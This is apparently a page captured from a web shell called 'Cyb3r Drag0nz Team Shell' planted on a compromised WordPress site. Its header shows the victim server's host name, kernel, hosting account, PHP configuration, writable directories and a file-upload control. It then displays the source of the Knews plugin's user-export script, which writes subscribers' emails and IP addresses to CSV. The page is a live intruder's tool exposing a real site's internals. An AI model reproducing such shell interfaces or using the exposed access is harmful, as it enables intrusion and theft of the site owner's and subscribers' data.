Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : atwiofrxug (73666)
PHP Version : 8.4.10
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
Current Directory : /home/atwiofrxug/mylittletelaviv/wp-content/plugins/knews/admin/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/plugins/knews/admin/knews_admin_export.php

<?php
//Security for CSRF attacks
$knews_nonce_action='kn-adm-export';
$knews_nonce_name='_admexp';
if (!empty($_POST)) $w=check_admin_referer($knews_nonce_action, $knews_nonce_name);
//End Security for CSRF attacks

	global $wpdb, $Knews_plugin, $knews_delimiters, $knews_enclosure, $knews_encode, $knews_line_endings;
//	global $knews_delimiters, $knews_enclosure, $knews_encode, $knews_line_endings, $knews_import_errors, $knews_import_users_error, $col_options, $submit_confirmation_id, $confirmation_sql_count;

	require_once( KNEWS_DIR . '/includes/knews_util.php');

    // specify allowed field delimiters
    $knews_delimiters = array(
        'comma ,'     => ',',
        'semicolon ;' => ';',
        'tab'         => "\t",
        'pipe |'         => '|',
        'colon :'     => ':',
        'space'     => ' ',
    );

    $knews_enclosure = array(
        'double'	=> '"',
        'simple'	=> '\''
    );

	function put_format_selects() {

		global $knews_delimiters, $knews_enclosure, $knews_encode, $knews_line_endings, $Knews_plugin;

		?>
			<p><?php _e('Separator','knews'); ?>: <select name="knews_delimiters" id="knews_delimiters">
				<?php
				while ($d = current($knews_delimiters)) {
					echo '<option value="' . key($knews_delimiters) . '"' . (( $Knews_plugin->post_safe('knews_delimiters') == key($knews_delimiters)) ? ' selected="selected"' : '') . '>' . key($knews_delimiters) . '</option>';
					next($knews_delimiters);
				}
				?>
			</select>
			<?php _e('Enclosure','knews'); ?>: <select name="knews_enclosure" id="knews_enclosure">
				<?php
				while ($d = current($knews_enclosure)) {
					echo '<option value="' . key($knews_enclosure) . '"' . (( $Knews_plugin->post_safe('knews_enclosure') == key($knews_enclosure)) ? ' selected="selected"' : '') . '>' . key($knews_enclosure) . '</option>';
					next($knews_enclosure);
				}
				?>
			</select>
			</p>
		<?php
	}

	$step = $Knews_plugin->post_safe('step', 1);
	$knews_has_header = $Knews_plugin->post_safe('knews_has_header', 0, 'int');
	
	$query = "SELECT * FROM " . KNEWS_LISTS . " ORDER BY orderlist";
	$unkey_lists = $wpdb->get_results( $query );
	$languages = $Knews_plugin->getLangs();
	
	foreach ($unkey_lists as $list) {
		$lists[$list->id] = $list;
	}
	
	if ($step==2) {
		$no_list=true; $no_lang=true; $all_langs=true; $all_lists=true; $indexed_list=array();
		
		foreach ($lists as $list) {
			if ($Knews_plugin->post_safe('list_' . $list->id) == 1) {
				$no_list = false;
			} else {
				$all_lists = false;
			}
			$indexed_list[$list->id]=$list->name;
		}
		foreach ($languages as $lang) {
			if ($Knews_plugin->post_safe('lang_' . $lang['language_code']) == 1) {
				$no_lang=false;
			} else {
				$all_langs = false;
			}
		}
		
		if ($no_lang || $no_list) {
			$step=1;
			echo '<div class="error"><p>' . __('Select at least one list and one language.','knews') . '</p></div>';
		}
	}
?>
	<div class="wrap">
		<div class="icon32" style="background:url(<?php echo KNEWS_URL; ?>/images/icon32.png) no-repeat 0 0;"><br></div><h2><?php _e('Export users','knews');?></h2>
		<?php
		$exported_users = 0;

		if ($step=='2') {
			$csv_code = '';
			$delimiter = $knews_delimiters[$Knews_plugin->post_safe('knews_delimiters')];
			$enclosure = $knews_enclosure[$Knews_plugin->post_safe('knews_enclosure')];
			$extra_fields = $Knews_plugin->get_extra_fields();

			if ($knews_has_header==1) {
					$csv_code .= $enclosure . __('E-mail','knews') . $enclosure . $delimiter;

					foreach ($extra_fields as $ef) {
						$csv_code .= $enclosure . $ef->name . $enclosure . $delimiter;					
					}

					$csv_code .= $enclosure . __('Language','knews') . $enclosure . $delimiter;
					$csv_code .= $enclosure . __('State','knews') . $enclosure . $delimiter;
					$csv_code .= $enclosure . __('Lists','knews') . $enclosure . $delimiter;
					$csv_code .= $enclosure . __('Register Date','knews') . $enclosure . $delimiter;
					$csv_code .= $enclosure . __('Register IP','knews') . $enclosure . "\r\n";
			}
			
			/*$query = "SELECT * FROM " . KNEWS_LISTS . " ORDER BY orderlist";
			$lists = $wpdb->get_results( $query );
			$languages = $Knews_plugin->getLangs();*/

			$sql = 'SELECT ku.id, ku.email, ku.state, ku.joined, ku.lang, ku.ip, GROUP_CONCAT(kupl.id_list) AS lists FROM ' . KNEWS_USERS . ' ku INNER JOIN ' . KNEWS_USERS_PER_LISTS . ' kupl ON ku.id = kupl.id_user ';

			$on_lang = ''; $l = 0;
			if (!$all_langs) {
				foreach ($languages as $lang) {
					if ($Knews_plugin->post_safe('lang_' . $lang['language_code']) == 1) {
						$l++;
						if ($on_lang !='') $on_lang .= ' OR ';							
						$on_lang .= "ku.lang='" . $lang['language_code'] . "'";
					}
				}
				if ($l > 1) $on_lang = '(' . $on_lang . ')';
			}
			if ($on_lang != '') $sql = $sql . ' AND ' . $on_lang;

			$on_list = ''; $l = 0;
			if (!$all_lists) {
				//$select_sql .= ', ' . KNEWS_USERS_PER_LISTS . ' kupl';
				foreach ($lists as $list) {
					if ($Knews_plugin->post_safe('list_' . $list->id) == 1) {
						$l++;
						if ($on_list !='') $on_list .= ' OR ';							
						$on_list .= "kupl.id_list=" . $list->id;
					}
					}
				if ($l > 1) $on_list = '(' . $on_list . ')';
				}
			if ($on_list != '') $sql = $sql . ' AND ' . $on_list;

			$sql .= ' GROUP BY kupl.id_user';			
			$users = $wpdb->get_results( $sql );
			
			$sql = 'SELECT user_id, GROUP_CONCAT(CONCAT_WS(\'{:}\', field_id, value) SEPARATOR \'{;}\') AS fields FROM ' . KNEWS_USERS_EXTRA . ' GROUP BY user_id';
			$all_extra_fields = $wpdb->get_results( $sql );

			foreach ($all_extra_fields as $ef) {
				$parells = explode('{;}', $ef->fields);
				foreach ($parells as $p) {
					list($clau, $valor) = explode('{:}', $p);
					$processed_fields[$ef->user_id][$clau] = $valor;
			}
			}
			
			$all_extra_fields=array();
			
			
			
			foreach ($users as $user) {
						
					$exported_users++;
					$csv_code .= $enclosure . $user->email . $enclosure . $delimiter;

					foreach ($extra_fields as $ef) {
					$ef_val='';
					if (isset($processed_fields[$user->id]) && isset($processed_fields[$user->id][$ef->id]))
						$ef_val=$processed_fields[$user->id][$ef->id];
				
					$csv_code .= $enclosure . $ef_val . $enclosure . $delimiter;					
						}
				
				$lists_user_name = array();
				$lists_user = explode(',', $user->lists);
				foreach ($lists_user as $list) {
					if (isset($lists[$list])) $lists_user_name[] = $lists[$list]->name;
					}

					$csv_code .= $enclosure . $user->lang . $enclosure . $delimiter;
					$csv_code .= $enclosure . $user->state . $enclosure . $delimiter;
				$csv_code .= $enclosure . implode(',', $lists_user_name) . $enclosure . $delimiter;
				$csv_code .= $enclosure . $user->joined . $enclosure . $delimiter;
				$csv_code .= $enclosure . $user->ip . $enclosure . "\r\n";
				
			}
			
			if ($exported_users != 0) {

				$file_name = uniqid() . '.csv';
				$fp = fopen(KNEWS_DIR . '/tmp/' . $file_name, 'w');
				if ($fp) {
					fwrite($fp, $csv_code);
				}

				echo '<div class="updated"><p>';
				printf(__('%s users have been exported.','knews'), $exported_users);
				echo '</p></div>';
				
				if ($fp) {
					echo '<p>';
					printf(__('To download the .CSV, click %s here','knews'), '<a href="' . get_admin_url() . 'admin-ajax.php?action=knewsSafeDownload&file=' . $file_name . '">');
					echo '</a></p>';
				} else {
					echo '<p>' . __("Error: I can't write the .CSV file.",'knews') . ' ' . __('The directory /wp-content/plugins/knews/tmp must be writable (chmod 700)', 'knews') . '</p>';
				}
		?>
				<textarea style="width:75%; height:400px;"><?php echo $csv_code; ?></textarea>
		<?php
			}
		}
		if ($step=='1' || ($step=='2' && $exported_users == 0)) {
			if ($step=='2') echo '<div class="updated"><p>' . __('No users match criteria','knews') . '</p></div>';
		?>
			<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
			<input type="hidden" name="step" id="step" value="2" />

			<h3><?php 
			
			_e('1. Select the users you want to export:','knews');
			
			echo '</h3><p>';
			
			_e('1.1. Select the lists to export:','knews');
			
			echo '</p>';
			
			knews_print_mailinglists();
			
			echo '<p>';
			
			_e('1.2. Select the languages to export:','knews');
			
			echo '<blockquote>';
			
			foreach ($languages as $lang) {
				echo '<input type="checkbox" value="1" name="lang_' . $lang['language_code'] . '"' . (($Knews_plugin->post_safe('lang_' . $lang['language_code'])==1) ? ' checked="checked"' : '') . '>' . $lang['translated_name'] . '<br>';
			}
			
			echo '</blockquote></p>';

			_e ('Note: mark all lists and the desired language/s to filter by language, or all languages and desired lists to filter by list,','knews');
			echo '<br>';
			_e ('...or all lists and all languages to export all users.','knews');

			echo '</p><h3>';

			_e('2. Format options:','knews');
			
			?></h3>
			<p><input type="checkbox" name="knews_has_header" id="knews_has_header" value="1"<?php if ( $knews_has_header==1 ) echo ' checked="checked"'; ?> /> <?php _e('Insert a header in the first row','knews'); ?></p>
			<?php
			
			put_format_selects();
			?>
			<div class="submit">
				<input type="submit" class="button-primary" value="<?php _e('Export users','knews');?>">
			</div>
			<?php 
			//Security for CSRF attacks
			wp_nonce_field($knews_nonce_action, $knews_nonce_name); 
			?>
			</form>
			<?php
		}
		?>
	</div>

Cyb3r Drag0nz Team • Google Edition